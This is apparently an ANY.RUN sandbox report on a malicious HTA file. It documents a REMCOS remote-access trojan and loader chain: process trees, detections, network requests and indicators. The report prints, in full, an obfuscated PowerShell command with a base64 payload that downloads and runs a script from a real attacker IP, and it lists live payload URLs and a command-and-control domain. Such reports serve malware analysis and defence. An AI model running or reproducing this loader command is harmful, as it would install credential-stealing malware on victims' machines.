File name:

goodmangivebestadviceforyou.hta

Full analysis: https://app.any.run/tasks/7d974b8d-690b-4b91-9581-90a5a335ea4e
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 18:47:12
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-powershell
payload
ta558
apt
stegocampaign
loader
reverseloader
rat
remcos
remote
stealer
Indicators:
MIME: application/javascript
File info: JavaScript source, ASCII text, with very long lines (28690), with no line terminators
MD5:

BCA4379697968F56FA419E8183C00E34

SHA1:

0350A251D9A4F0C744664410ECBA356611522381

SHA256:

9A3C86B7C00A6A079625E19AE602C042A1AE22FFBDF546CD4462448939A10295

SSDEEP:

192:/TtYm2hJD1y2hJDSVnfo++nab5WAU2hJD6xw:7Gvh91h9SVnfd+nab3Bh962

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts Visual C# compiler

      • powershell.exe (PID: 1228)

    • Accesses environment variables (SCRIPT)

      • mshta.exe (PID: 5960)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 5024)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1228)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 1228)
      • powershell.exe (PID: 6516)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 1228)

    • Payload loading activity detected

      • powershell.exe (PID: 6516)

    • STEGOCAMPAIGN has been detected (SURICATA)

      • powershell.exe (PID: 6516)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6516)

    • REMCOS has been detected

      • CasPol.exe (PID: 5720)

    • REVERSELOADER has been detected (SURICATA)

      • powershell.exe (PID: 6516)

    • REMCOS has been detected (SURICATA)

      • CasPol.exe (PID: 5720)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6516)

    • REMCOS mutex has been found

      • CasPol.exe (PID: 5720)

    • Actions looks like stealing of personal data

      • CasPol.exe (PID: 6080)
      • CasPol.exe (PID: 5964)

    • REMCOS has been detected (YARA)

      • CasPol.exe (PID: 5720)

    • Steals credentials from Web Browsers

      • CasPol.exe (PID: 5964)

  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 5960)
      • wscript.exe (PID: 2136)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 5960)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 6184)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 5024)
      • wscript.exe (PID: 2136)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 5024)
      • wscript.exe (PID: 2136)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 5024)
      • wscript.exe (PID: 2136)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1228)
      • powershell.exe (PID: 6516)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 6184)

    • Connects to the server without a host name

      • powershell.exe (PID: 1228)
      • powershell.exe (PID: 6516)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 2136)

    • Executes script without checking the security policy

      • powershell.exe (PID: 6516)
      • powershell.exe (PID: 1228)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2136)
      • cmd.exe (PID: 5024)

    • Contacting a server suspected of hosting an Exploit Kit

      • powershell.exe (PID: 6516)

    • Reads security settings of Internet Explorer

      • CasPol.exe (PID: 5720)

    • Application launched itself

      • CasPol.exe (PID: 5720)

    • Connects to unusual port

      • CasPol.exe (PID: 5720)

    • Contacting a server suspected of hosting an CnC

      • CasPol.exe (PID: 5720)

    • There is functionality for taking screenshot (YARA)

      • CasPol.exe (PID: 5720)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 1228)

    • Uses .NET C# to load dll

      • powershell.exe (PID: 1228)

  • INFO

    • Checks supported languages

      • csc.exe (PID: 6184)
      • cvtres.exe (PID: 4008)
      • CasPol.exe (PID: 5720)
      • CasPol.exe (PID: 5216)
      • CasPol.exe (PID: 5964)
      • CasPol.exe (PID: 6080)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 5960)

    • Create files in a temporary directory

      • cvtres.exe (PID: 4008)
      • csc.exe (PID: 6184)
      • CasPol.exe (PID: 5216)
      • CasPol.exe (PID: 6080)
      • CasPol.exe (PID: 5964)

    • Checks proxy server information

      • powershell.exe (PID: 1228)
      • powershell.exe (PID: 6516)
      • CasPol.exe (PID: 5720)

    • Drops encrypted VBS script (Microsoft Script Encoder)

      • powershell.exe (PID: 1228)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • cmd.exe (PID: 5024)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 6516)

    • Disables trace logs

      • powershell.exe (PID: 6516)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 6516)

    • Creates files or folders in the user directory

      • CasPol.exe (PID: 5720)

    • Reads the machine GUID from the registry

      • CasPol.exe (PID: 5720)
      • CasPol.exe (PID: 5216)
      • CasPol.exe (PID: 5964)
      • csc.exe (PID: 6184)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6516)

    • Reads the computer name

      • CasPol.exe (PID: 5720)
      • CasPol.exe (PID: 5216)
      • CasPol.exe (PID: 6080)
      • CasPol.exe (PID: 5964)

    • Reads the software policy settings

      • slui.exe (PID: 4988)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 1228)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
147
Monitored processes
19
Malicious processes
7
Suspicious processes
1

Behavior graph

Click at the process to see the details
start mshta.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe sppextcomobj.exe no specs slui.exe csc.exe cvtres.exe no specs wscript.exe no specs #STEGOCAMPAIGN powershell.exe conhost.exe no specs caspol.exe no specs caspol.exe no specs #REMCOS caspol.exe svchost.exe caspol.exe caspol.exe caspol.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1228PoWeRSHEll -ex BYpASS -NOP -w 1 -c deVicECrEDENTIaLDePLOyment ; iex($(iex('[SYStEM.teXt.EncoDiNg]'+[cHar]58+[ChAR]58+'utf8.GETSTrING([SystEm.CoNVErt]'+[CHaR]0x3A+[CHAR]58+'FroMBase64sTrIng('+[Char]0X22+'JGMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQmVyZEVmaW5pdGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmtyVEZQLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvQVZpYVUsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRlTk9uZldUdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVQZ2tiU2ZjbmF1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBid2Z3KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJFdUkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1Fc1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmxTRFpPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xMDMuODMuODcuMTk4L3hhbXBwL2tnZi9nb29kbWFuZ2l2ZWJlc3RhZHZpY2Vmb3J5b3UudmJlIiwiJGVOVjpUTVBcZ29vZG1hbmdpdmViZXN0YWR2aWNlZm9yeW91LnZiZSIsMCwwKTtzVGFSVC1zbEVlUCgzKTtJbnZPS0UtSVRlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpUTVBcZ29vZG1hbmdpdmViZXN0YWR2aWNlZm9yeW91LnZiZSI='+[CHAR]34+'))')))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
1760\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2136"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\goodmangivebestadviceforyou.vbe" C:\Windows\SysWOW64\wscript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\syswow64\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4008C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESDD81.tmp" "c:\Users\admin\AppData\Local\Temp\CSCA543073FD66C48C9B813DE4DA2121DEA.TMP"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
4488C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
4812"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Framework CAS Policy Manager
Exit code:
4294967295
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\caspol.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
4988"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5024"C:\WINDOWS\system32\cmd.exe" "/C PoWeRSHEll -ex BYpASS -NOP -w 1 -c deVicECrEDENTIaLDePLOyment ; iex($(iex('[SYStEM.teXt.EncoDiNg]'+[cHar]58+[ChAR]58+'utf8.GETSTrING([SystEm.CoNVErt]'+[CHaR]0x3A+[CHAR]58+'FroMBase64sTrIng('+[Char]0X22+'JGMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQmVyZEVmaW5pdGlPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmtyVEZQLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvQVZpYVUsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRlTk9uZldUdCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVQZ2tiU2ZjbmF1LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBid2Z3KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJFdUkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1Fc1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmxTRFpPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xMDMuODMuODcuMTk4L3hhbXBwL2tnZi9nb29kbWFuZ2l2ZWJlc3RhZHZpY2Vmb3J5b3UudmJlIiwiJGVOVjpUTVBcZ29vZG1hbmdpdmViZXN0YWR2aWNlZm9yeW91LnZiZSIsMCwwKTtzVGFSVC1zbEVlUCgzKTtJbnZPS0UtSVRlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpUTVBcZ29vZG1hbmdpdmViZXN0YWR2aWNlZm9yeW91LnZiZSI='+[CHAR]34+'))')))"C:\Windows\SysWOW64\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
5216C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\admin\AppData\Local\Temp\pkkrnmqlqaaasvbhxgzkdbsd"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe—CasPol.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Framework CAS Policy Manager
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\caspol.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\user32.dll
Total events
15 723
Read events
15 694
Write events
29
Delete events
0

Modification events

(PID) Process:(5960) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(5960) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(5960) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(1228) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(1228) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(1228) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(1228) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbe\OpenWithProgids
Operation:writeName:VBEFile
Value:
(PID) Process:(6516) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6516) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6516) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
1
Suspicious files
4
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
5964CasPol.exeC:\Users\admin\AppData\Local\Temp\bhvC80.tmp —
MD5:—
SHA256:—
6184csc.exeC:\Users\admin\AppData\Local\Temp\1ntpgz3k.dllexecutable
MD5:9B8ED1541E9F97E97886C0FA89119DBA
SHA256:D455FB752BEB42C534EDF7422B36263344E514FECE2CBF581B62CBF86C0F142E
4008cvtres.exeC:\Users\admin\AppData\Local\Temp\RESDD81.tmpbinary
MD5:7060DCC6A4B9BFB53D815E530DD56384
SHA256:E775986A3448945FB388096CC4D2D5BE1944B07D7354F8EA4BDA923C85006633
1228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rgqas25s.u5m.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1228powershell.exeC:\Users\admin\AppData\Local\Temp\1ntpgz3k.0.cstext
MD5:3A47C89D7C20E6907C2011B9FF90100B
SHA256:AC0D3ECFE9376DCE1B88D7040F450D07F8FF7431F6E8583B396A2A054AD4873C
1228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ji5cbr5l.drb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6184csc.exeC:\Users\admin\AppData\Local\Temp\1ntpgz3k.outtext
MD5:3C42EDCCC45D7EA3FDC2A2FDE612876D
SHA256:081507833BDA9A417A269A5248908CC4DBC4910107FA0F77B1BD1F934C33863C
1228powershell.exeC:\Users\admin\AppData\Local\Temp\1ntpgz3k.cmdlinetext
MD5:BDA35ADB4536CC9C60D2C1C50B1B797B
SHA256:C577A66281A2692FA11C0DFEE356221266CA32C29396206BCB18C70095640782
6184csc.exeC:\Users\admin\AppData\Local\Temp\CSCA543073FD66C48C9B813DE4DA2121DEA.TMPbinary
MD5:37372F75F74E6C9BFD5BEABF9A0CF426
SHA256:3ED22F568E20F3A0DA80C4FFA7015131D01D97535A7062B230EE8459A3C4A4E0
1228powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ty0zyyzc.hkj.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
27
DNS requests
18
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.139:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6516
powershell.exe
GET
—
192.3.243.172:80
http://192.3.243.172/xampp/cs/new_image.jpg
unknown
—
—
malicious
1228
powershell.exe
GET
200
103.83.87.198:80
http://103.83.87.198/xampp/kgf/goodmangivebestadviceforyou.vbe
unknown
—
—
unknown
6516
powershell.exe
GET
200
103.83.87.198:80
http://103.83.87.198/xampp/kgf/goodmangivebestadviceforyou.txt
unknown
—
—
unknown
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5720
CasPol.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
—
—
whitelisted
3100
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
3100
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.48.23.139:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2112
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.132:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 23.48.23.139
  • 23.48.23.183
  • 23.48.23.194
  • 23.48.23.193
  • 23.48.23.143
  • 23.48.23.181
  • 23.48.23.191
  • 23.48.23.138
  • 23.48.23.145
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 172.217.16.206
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 20.190.160.132
  • 20.190.160.5
  • 20.190.160.2
  • 40.126.32.134
  • 20.190.160.66
  • 40.126.32.68
  • 20.190.160.131
  • 20.190.160.4
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
newjourneynewstartfreshthingforfuture.duckdns.org
  • 198.55.102.43
unknown
geoplugin.net
  • 178.237.33.50
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted

Threats

PID
Process
Class
Message
6516
powershell.exe
Misc activity
INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0)
6516
powershell.exe
A Network Trojan was detected
ET MALWARE Base64 Encoded MZ In Image
6516
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image
6516
powershell.exe
A Network Trojan was detected
PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558)
6516
powershell.exe
A Network Trojan was detected
ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2
6516
powershell.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1
6516
powershell.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2
5720
CasPol.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash
2196
svchost.exe
Misc activity
ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain
2196
svchost.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
goodmangivebestadviceforyou.hta